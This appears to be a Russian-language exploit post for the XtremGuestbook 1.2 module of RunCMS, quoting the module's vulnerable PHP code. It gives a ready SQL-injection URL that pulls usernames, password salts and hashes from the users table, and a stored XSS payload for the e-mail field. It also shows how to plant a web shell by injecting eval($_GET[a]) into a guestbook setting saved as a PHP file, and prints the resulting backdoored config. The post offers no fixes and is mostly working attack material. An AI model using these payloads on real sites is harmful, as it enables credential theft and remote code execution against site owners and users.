XtremGuestbook
Версия: 1.2
Скачать: http://www.runcms.ru/modules/files/visit.php?lid=194
SQL-INJ
Уязвимый скрипт: /modules/xtremuserguestbook/index1.php
Запрос: /modules/xtremuserguestbook/index1.php?gbid=
2&op=Messageedit&idmsg=-1+union+select+1,uname,pwdsalt,pass,5,6,7+from+run cms_users
Параметр gbid - айди текушего юзера
Уязвимый кусок кода:
Не знаю, что это за стеб, видимо тут должна была быть проверка на административные права, но получилось вот так ..
PHP код:
$gbid = intval($HTTP_GET_VARS['gbid']);
if ($gbid != $xoopsUser->uid()) {
redirect_header(XOOPS_URL."/",3,_NOPERM);
}
PHP код:
switch($op) {
case "Messageedit":
Messageedit($HTTP_GET_VARS["idmsg"]);
break;
PHP код:
function Messageedit($idmsg) {
global $db, $xoopsModule, $myts, $gbid;
$result=$db->query("SELECT user_id,uname,url,email,title,message,note FROM ".$db->prefix("xtremuserguestbook")." WHERE xtremuserguestbook_id=$idmsg");
Так же можно удалять \ редактировать \ etc сообщения
Активная XSS
Уязвимо поле E-mail
mymail@asdasd.ru'><script>alert()</script><'
Заливка шелла через конфиг
Зависимость: на папку /modules/xtremuserguestbook/cache должны стоять 777 чмоды (я к примеру забыл их поставить))
Уязвимый скрипт: /modules/xtremuserguestbook/conf.php
Запрос: /modules/xtremuserguestbook/conf.php?gbid=
2&op=Config
Заюзаем поле _XTUG_NBMSGBYPAGE - 10;eval($_GET[a]);//
и сохраняем настройки, они сохранятся в cache/
2.php
где 2 - наш айди
Уязвимый кусок кода:
Так же, как и в случае со скулей, идет не понятная проверка
PHP код:
$gbid = intval($HTTP_GET_VARS['gbid']);
if ($gbid != $xoopsUser->uid()) {
redirect_header(XOOPS_URL."/",3,_NOPERM);
}
PHP код:
function SaveConfig($unbmessage,$uallowbbcode,$uallowhtml,$uallowsmileys,$usendmail2webmaster,$umoderate,$ushowdisclaimer,$ushowlogo) {
global $db, $myts, $HTTP_POST_VARS, $gbid;
$fp=fopen("cache/".$gbid.".php","w");
fwrite($fp,'<?php
$uallowbbcode='.$uallowbbcode.';
$uallowhtml='.$uallowhtml.';
$uallowsmileys='.$uallowsmileys.';
$unbmsgbypage='.$unbmessage.';
$usendmail2webmaster='.$usendmail2webmaster.';
$umoderate='.$umoderate.';
$ushowdisclaimer='.$ushowdisclaimer.';
$ushowlogo='.$ushowlogo.';
?>');
fclose($fp);
redirect_header("index.php", 1, _UPDATED);
exit();
}
switch($op) {
case "Config":
Config();
break;
case "SaveConfig":
SaveConfig($nbmessage,$HTTP_POST_VARS["allowbbcode"],$HTTP_POST_VARS["allowhtml"],$HTTP_POST_VARS["allowsmileys"],$HTTP_POST_VARS["sendmail2webmaster"],$HTTP_POST_VARS["moderate"],$HTTP_POST_VARS["showdisclaimer"],$HTTP_POST_VARS["showlogo"]);
break;
}
"Конфиг" после запроса будет выглядеть примерно вот так:
PHP код:
<?php
$uallowbbcode=0;
$uallowhtml=0;
$uallowsmileys=0;
$unbmsgbypage=10;eval($_GET[a]);//;
$usendmail2webmaster=0;
$umoderate=0;
$ushowdisclaimer=0;
$ushowlogo=0;
?>